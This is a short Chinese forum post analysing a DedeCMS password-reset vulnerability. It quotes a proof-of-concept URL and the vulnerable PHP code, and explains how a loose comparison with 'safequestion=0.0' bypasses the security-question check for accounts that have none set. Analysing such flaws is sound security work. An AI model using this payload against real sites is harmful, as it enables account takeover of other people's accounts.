网上说的都是任意用户密码重置,但是真的是任意用户吗?
我们来看下网上给的poc: - http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1
复制代码根据给出的分析我们也跟进下。
代码: - else if($dopost == "safequestion")
- {
- $mid = preg_replace("#[^0-9]#", "", $id);
- $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
- $row = $db->GetOne($sql);
- if(empty($safequestion)) $safequestion = '';
- if(empty($safeanswer)) $safeanswer = '';
- if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
- {
- sn($mid, $row['userid'], $row['email'], 'N');
- exit();
- }
- else
- {
- ShowMsg("对不起,您的安全问题或答案回答错误","-1");
- exit();
- }
复制代码这里我们赋值safequestion=0.0,为什么?因为如果用户没设置安全问题的话,在数据库中的值为0 那为什么不能直接设置为0呢,再看下面的代码 - if(empty($safequestion)) $safequestion = '';
- if(empty($safeanswer)) $safeanswer = '';
复制代码如果我们我们设置为0的话,empty(0)就会为true,为true以后后面的$safequestion就会被赋值为空,但是"" == "0"是为false的,所以就没法重置密码。
而且也不能给safequestion=abc这种,虽然"abc" == 0是为true的,但是safequestion在数据库中是字符串,所以"abc" = "0"是false的。
而设置safequestion=0.0,"0.0" == "0"是为true的。
所以根据以上分析,首先要保证当前重置的用户是没有设置安全问题的。
感谢hanfengb的解疑。
|